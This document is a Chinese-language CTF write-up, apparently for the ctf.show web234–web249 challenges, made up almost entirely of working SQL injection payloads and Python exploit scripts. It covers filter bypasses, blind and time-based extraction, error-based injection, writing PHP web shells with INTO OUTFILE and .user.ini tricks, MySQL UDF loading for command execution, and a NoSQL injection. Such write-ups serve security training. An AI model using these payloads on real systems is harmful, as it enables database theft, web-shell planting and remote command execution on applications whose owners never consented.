web234
password=1\&username=,username=(select database())#
password=1\&username=,username=(select group_concat(table_name) from information_schema.tables where table_schema=database())#
//flag23a
password=1\&username=,username=(select group_concat(column_name) from information_schema.columns where table_name=0x666c6167323361)#
//id,flagass23s3,info 要用16进制
password=1\&username=,username=(select flagass23s3 from flag23a)#
web235
因为or被禁导致information_schema.tables也被禁了，我们可以用表表mysql.innodb_table_stats和mysql.innodb_index_stats来代替
# 通过mysql.innodb_table_stats获取表名
password=\&username=,username=(select group_concat(table_name) from mysql.innodb_table_stats)%23
# 无列名注入获取flag
password=\&username=,username=(select `2` from (select 1,2,3 union select * from flag23a1)a limit 1,1)%23
web236
原理和上题一致
# 通过mysql.innodb_table_stats获取表名
password=\&username=,username=(select group_concat(table_name) from mysql.innodb_table_stats)%23
# 无列名注入获取flag
password=\&username=,username=(select `2` from (select 1,2,3 union select * from flaga)a limit 1,1)%23
web237
insert注入
在api/insert.php注入然后看回显
web238
空格以及相关的字符都被过滤，我们使用括号进行绕过
payload
#获取表名
username=1',(select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())))%23&password=1
#获取列名
username=1',(select(group_concat(column_name))from(information_schema.columns)where(table_name='flagb')))%23&password=1
#获取数据
username=1',(select(group_concat(flag))from(flagb)))%23&password=1
web239
过滤了or但是我们已经知道可以用mysql.innodb_table_stats和mysql.innodb_index_stats来代替
# 通过mysql.innodb_table_stats获取表名
username=1',(select(group_concat(table_name))from(mysql.innodb_table_stats)))%23&password=1
# 盲猜字段名为flag
username=1',(select(flag)from(flagbb)))%23&password=1
web240
import requests
url = 'http://e86ae254-2704-4826-98e2-577a79fd30aa.challenge.ctf.show/api/insert.php'
url1= 'http://e86ae254-2704-4826-98e2-577a79fd30aa.challenge.ctf.show/api/?desc&page=1&limit=10'
str = 'ab'
for i in str:
for j in str:
for k in str:
for l in str:
for n in str:
print('flag'+f'{i+j+k+l+n}')
payload = {
'username': f"48',(select(group_concat(flag))from(flag{i+j+k+l+n})))#",
'password': "7"
}
requests.post(url=url, data=payload)
r = requests.get(url=url1).text
if len(r) != 543:
break
爆破出表名为flagbbbba
username=1',(select(flag)from(flagbbbba)))%23&password=1
web241
睡眠时间一定要调小不然跑不出来
import requests
import time
url='http://47a7a298-f821-41b6-9f49-a24094ab0337.challenge.ctf.show/api/delete.php'
flag=''
for i in range(1,100):
min=32
max=128
while 1:
j=min+(max-min)//2
if min==j:
flag+=chr(j)
print(flag)
break
#payload=f"if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{i},1))<{j},sleep(0.02),1)"
#payload=f"if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='flag'),{i},1))<{j},sleep(0.02),1)"
payload=f"if(ascii(substr((select group_concat(flag) from flag),{i},1))<{j},sleep(0.02),1)"
data={
'id':payload
}
try:
r=requests.post(url=url,data=data,timeout=0.38)
min=j
except:
max=j
time.sleep(0.2)
web242
“OPTION”参数为可选参数选项，其可能的取值有：
`FIELDS TERMINATED BY '字符串'`：设置字符串为字段之间的分隔符，可以为单个或多个字符。默认值是“\t”。
`FIELDS ENCLOSED BY '字符'`：设置字符来括住字段的值，只能为单个字符。默认情况下不使用任何符号。
`FIELDS OPTIONALLY ENCLOSED BY '字符'`：设置字符来括住CHAR、VARCHAR和TEXT等字符型字段。默认情况下不使用任何符号。
`FIELDS ESCAPED BY '字符'`：设置转义字符，只能为单个字符。默认值为“\”。
`LINES STARTING BY '字符串'`：设置每行数据开头的字符，可以为单个或多个字符。默认情况下不使用任何字符。
`LINES TERMINATED BY '字符串'`：设置每行数据结尾的字符，可以为单个或多个字符。默认值是“\n”。
在api/dump.php注入
filename=3.php' LINES STARTING BY '<?php eval($_POST[0]);?>'#
然后访问dump/3.php
进行POST命令执行即可
web243
过滤就php，这个就是要使用
这个在前面文件上传就知道了
.user.ini
auto_append_file=1.png
这里同理我们在api/dump.php注入
0x0a6175746f5f70726570656e645F66696c653d656173792e706e670a -->auto_prepend_file=easy.png
filename=.user.ini' LINES STARTING BY ';' TERMINATED BY 0x0a6175746f5f70726570656e645f66696c653d312e706e670a;#
写入;将前面的select语句闭合，然后再加上图片马凑成完整的php解析.user.ini
filename=easy.png' LINES TERMINATED BY 0x3c3f706870206576616c28245f504f53545b305d293b3f3e#
再写个马
访问dump/index.php
再POST就可以了
这种就是直接不管前面的select语句，直接干，没啥影响
filename=.user.ini' lines starting by 'auto_prepend_file=1.txt\n'%23
# 上传包含文件写入shell
filename=1.txt' lines starting by '<?= eval($_POST[1])?>'%23
# 获取flag
1=system("tac /flag.here")
注：马是在dump/index.php这里
web244
报错注入
extractvalue(目标xml文档，xml路径):对XML文档进行查询的函数
updatexml(目标xml文档，xml路径，更新的内容):更新xml文档的函数
其都是针对xml路径进行的注入
我没想到这里居然还用到了左右链接
太强了
获取表名：
?id=1' or extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())))%23
获取列名：
?id=1' or extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flag')))%23
获取flag：
?id=1' or extractvalue(1,concat(0x7e,(select group_concat(flag) from ctfshow_flag)))%23
这里获取flag的话只能获取一半，我们在用right拿另一半
?id=1' or extractvalue(1,concat(0x7e,right((select group_concat(flag) from ctfshow_flag),32)))%23
web245
?id=%27%20or%20extractvalue(1,concat(0x7e,database()))%23
?id=1%27%20and%20(extractvalue(1,concat(0x7e,(select%20group_concat(flag1)%20from%20ctfshow_flagsa),0x7e)))%23
id=1%27%20and%20(extractvalue(1,concat(0x7e,right((select%20group_concat(flag1)%20from%20ctfshow_flagsa),20),0x7e)))%23
web246
floor报错注入
拿表名：
?id=-1' union select 1,count(*),concat(0x3a,0x3a,(select (table_name) from information_schema.tables where table_schema=database() limit 1,1),0x3a,0x3a,floor(rand(0)*2))a from information_schema.columns group by a%23
拿列名：
?id=-1' union select 1,count(*),concat(0x3a,0x3a,(select (column_name) from information_schema.columns where table_name='ctfshow_flags' limit 1,1),0x3a,0x3a,floor(rand(0)*2))a from information_schema.columns group by a%23
拿flag：
?id=-1' union select 1,count(*),concat_ws('-',(select concat(flag2) from ctfshow_flags limit 0,1),floor(rand(0)*2)) as a from information_schema.tables group by a--+
web247
floor()：向下取整
ceil()：向上取整
round()：四舍五入
替换一下即可
拿表名：
?id=-1' union select 1,count(*),concat(0x3a,0x3a,(select (table_name) from information_schema.tables where table_schema=database() limit 1,1),0x3a,0x3a,round(rand(0)*2))a from information_schema.columns group by a%23
拿列名：
?id=-1' union select 1,count(*),concat(0x3a,0x3a,(select (column_name) from information_schema.columns where table_name='ctfshow_flagsa' limit 1,1),0x3a,0x3a,round(rand(0)*2))a from information_schema.columns group by a%23
拿flag：
?id=-1' union select 1,count(*),concat_ws('-',(select concat(`flag?`) from ctfshow_flagsa limit 0,1),round(rand(0)*2)) as a from information_schema.tables group by a--+
web248
UDF注入
/api/?id=1'; select @@plugin_dir; #
查出Mysql插件路径：/usr/lib/mariadb/plugin/
/api/?id=';CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.so';#
引入udf.so文件从而创建函数sys_eval
import requests
base_url="http://906dde3b-0bcd-44e5-bf67-a3c5b88a7567.challenge.ctf.show/api/"
payload = []
text = ["a", "b", "c", "d", "e"]
udf = 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for i in range(0,21510, 5000):
end = i + 5000
payload.append(udf[i:end])
p = dict(zip(text, payload))
for t in text:
url = base_url+"?id=';select unhex('{}') into dumpfile '/usr/lib/mariadb/plugin/{}.txt'--+&page=1&limit=10".format(p[t], t)
r = requests.get(url)
print(r.status_code)
next_url = base_url+"?id=';select concat(load_file('/usr/lib/mariadb/plugin/a.txt'),load_file('/usr/lib/mariadb/plugin/b.txt'),load_file('/usr/lib/mariadb/plugin/c.txt'),load_file('/usr/lib/mariadb/plugin/d.txt'),load_file('/usr/lib/mariadb/plugin/e.txt')) into dumpfile '/usr/lib/mariadb/plugin/udf.so'--+&page=1&limit=10"
rn = requests.get(next_url)
uaf_url=base_url+"?id=';CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.so';--+"#导入udf函数
r=requests.get(uaf_url)
nn_url = base_url+"?id=';select sys_eval('cat /flag.*');--+&page=1&limit=10"
rnn = requests.get(nn_url)
print(rnn.text)
web249
nosql注入
?id[]=flag
键值对直接秒了